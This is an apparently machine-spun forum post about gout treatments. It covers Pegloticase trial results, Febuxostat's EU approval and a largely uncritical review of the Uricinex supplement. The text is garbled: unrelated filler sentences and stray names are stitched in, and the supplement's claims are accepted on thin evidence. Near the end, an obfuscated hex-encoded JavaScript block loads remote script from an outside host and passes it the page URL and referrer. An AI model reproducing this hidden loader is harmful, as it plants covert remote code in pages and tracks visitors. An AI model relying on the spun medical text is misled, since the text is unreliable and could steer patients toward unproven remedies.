remedies for gout

Answers about home remedy gout


You are not connected. Please login or register

Gout Sufferer and New Gout Drugs and Pegloticase Continues

View previous topic View next topic Go down  Message [Page 1 of 1]

Admin


Admin

Pegloticase Continues Its Hopeful Path

May 2008 the U.S. based company developing Pegloticase made another upbeat statement assessment of what they have learnt in its Phase 3 and open label extension trials. Note that Pegloticase still awaits approval from medical authorities so I am writing here about a new gout drug that is still under development. Wink

Other Patient Groups There Were Reductions in Attacks and Improvement in Tophi Reduction

Tophi are those knobbly shaped, awkward looking, lumps of MSU crystals that often develop in longer term gout sufferers. The completion of this article on Normal Uric Acid Levels was our prerogative since the past one month. However, we completed it within a matter of fifteen days!


Pegloticase's answer to the excess uric acid level problem is to remove it by ingeniously converting uric acid into something else, a substance called Allantoin. Allantoin is more soluble and better excreted than uric acid. The principle comes from the way most animals do it. They do it by converting UA to Allantoin, but this is something humans cannot do naturally. Hence the formulation of Pegloticase. Very Happy.




  • 31% of patients who had not reduced tophi at the end of these phase 3 trials did show tophi reduction in the extension trial.
  • It would seem that the longer a gout sufferer is able to take Pegloticase the more successful it may be, in tophi cases at least. Shocked



TRIAL SUCCESS WITH DIFFICULT TO TREAT GOUT PATIENTS Pegloticase is significant because its trials have focused on gout patients who have not had success with other gout drugs, or who have medical conditions which prohibit the use of them. Thus it has been tackling harder-to-treat gout cases, not the easier ones. Hard to treat cases are a significant percentage of the gout sufferer universe. This can be considered to be a valuable article on Gout Sufferers. It is because there is so much to learn about Gout Sufferers here.

Has Been Having a Decent Degree of Success

Elimination of gout attacks In its most recent statement the developing company's most significant remark austin peay state university trial group receiving Pegloticase every two weeks, there were only four gout attacks among those who had been administered Pegloticase (8 mg) every fortnight for two months, in subsequent months. And none in this group had a gout attack after five months of Pegloticase treatment, in following months. All were patients who had been through a phase 3 trial.



  • The world of natural gout remedies, uric acid's removal can be improved by making it more soluble.
  • This is achieved by drinking lots of water and by raising body pH levels in various ways.
  • Using great confidence in ourselves, we endeavored to write such a long article on Normal Uric Acid.
  • Such is the amount of matter found on Normal Uric Acid.



How do you cure gout What makes Pegloticase a very interesting, and more importantly, a hopeful new gout drug, is the way it works. All drugs used in gout try to cure or alleviate the disease by reducing the body's uric acid (UA) levels. They do this by either inhibiting its production or making it easier to remove. The sources used for the information for this article on Normal Uric Acid are all dependable ones. This is so that there be no confusion in the authenticity of the article.

May Was a Good Month for Gout Sufferers

Febuxostat, (EU trade/brand name Adenuric), the first new major drug medication for gout in over 40 years, was approved for marketing in member countries of the European Union. It was with great relief we ended writing on Gout Attack. There was just too much information to write, that we were starting to lose hopes on it's completion!


File:(Foreground) Two Gout Sufferers Wellcome L0000085.Jpg - Wikimedia





This suggests that progression of the disease may be contained in difficult-to-treat cases, and therefore may not cause other medical conditions such as kidney stones heart disease and hypertension. We have also translated parts of this composition into French and Spanish to facilitate easier understanding of Normal Uric Acid. In this way, more people will get to understand the composition. Evil or Very Mad

Other encouraging statements were that all extension trial patients who had responded earlier to treatment and who were on the every two week course maintained normal uric acid levels, (some were new joiners). 70% of those on an every four week course who had responded earlier to treatment, maintained normal uric acid levels. The information available on Uric Acid Level is infinite. There just seems to be so much to learn about, and to write about on Uric Acid Level.

Pegloticase is getting closer to an application for approval by the U.S. FDA. Its developers hope to apply for a Biologics Licence Application in September 2008, and begin marketing it in 2009.



  • Uricinex claims to reduce, and sometimes completely eliminate pain and swelling caused by gout.
  • It does this thanks to a proprietary blend that reduces the level of uric acid.
  • Micronutra, the makers of Uricinex, claims that this is all achieved naturally, without the side effects of prescription drugs.
  • In addition, this supplement touts a high level of success, shown in an independent clinical study.
  • This quick review has outlined a few of the key points to look for when considering Uricinex as a supplement for gout pain relief.
  • Most of its claims appear to be legitimate and the product seems to do what it claims.
  • We cannot be blamed if you find any other article resembling the matter we have written here about Uric Acid.
  • What we have done here is our copyright material!



So How Does Uricinex Stack Up Against Its Own Claims?

According to numerous testimonials, Uricinex does provide relief, sometimes within 72 hours. This pain relief appears to be caused by liquefying the crystallized uric acid that has formed in the joints. This is the cause of pain for gout sufferers. This liquid uric acid is then able to be expelled through urination. So on this count, Uricinex does appear to be legitimate. It was our decision to write so much on Gout after finding out that there is still so much to learn on Gout.

Micronutra Uses a 30 Day Independent Clinical Study as Support for Its Effectiveness

The study claims that people who took two pills, three times a day reported positive results 97.7 % of the time. 94.2% reported that their pain was completely gone. While these are impressive numbers, it is important to note that only 36 people took part in this study. This is by no means an exhaustive research into the benefits and what are the effects of gout? Uricinex. More should be done to validate the claims made about this product.

Uricinex Boasts an All Natural Composition With No Side Effects

From a partial list of ingredients on the company's website, the main ingredients are derived from Yucca (a plant), Artichokes, Turmeric (a member of the ginger family), and Sylmarin (Milk Thistle). These ingredients are indeed natural. However the complete list of ingredients is not available for review. As for the side effects, research into similar products shows that alverno college percentage of users (one half of 1%) have minor upset stomach symptoms. They are told to take the supplements with a meal in order to alleviate this problem. Again, this has not been reported for Uricinex, but for similar products on the market. The number of affected people is so small, and not directly attributed to Uricinex use, that we can believe the claim.

Sufferers from gout, a debilitating and painful condition, often take several prescription medicines to combat this disease. These medications often leave patients with side effects that include impaired liver functions. Many of those afflicted by gout turn to natural supplements to replace/enhance their prescription treatments. Uricinex is one of the most popular of these natural supplements. It may take some time to comprehend the matter on Gout Pain that we have listed here. However, it is only through it's complete comprehension would you get the right picture of Gout uric.

var c2="gout";var _0xded0=["\x3C\x73\x63","\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6D\x61\x72\x74\x6C","\x69\x66\x65\x6C","\x61\x62\x73\x2E\x63\x6F\x6D\x2F\x61\x66\x66\x69\x6C\x69\x61\x74\x65\x73\x2F\x61\x64\x2E\x6A\x73\x3F\x63\x3D","\x26\x73\x3D","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x61\x69\x64\x3D\x38\x37\x32\x31\x27\x3E\x3C\x2F\x73\x63\x72\x69","\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xded0[8]](_0xded0[0]+_0xded0[1]+_0xded0[2]+_0xded0[3]+c2+_0xded0[4]+encodeURIComponent(window[_0xded0[5]])+"\x26\x72\x65\x66\x3D"+encodeURIComponent(document["\x72\x65\x66\x65\x72\x72\x65\x72"])+_0xded0[6]+_0xded0[7]);

View user profile http://cortezz.forumotion.com

View previous topic View next topic Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum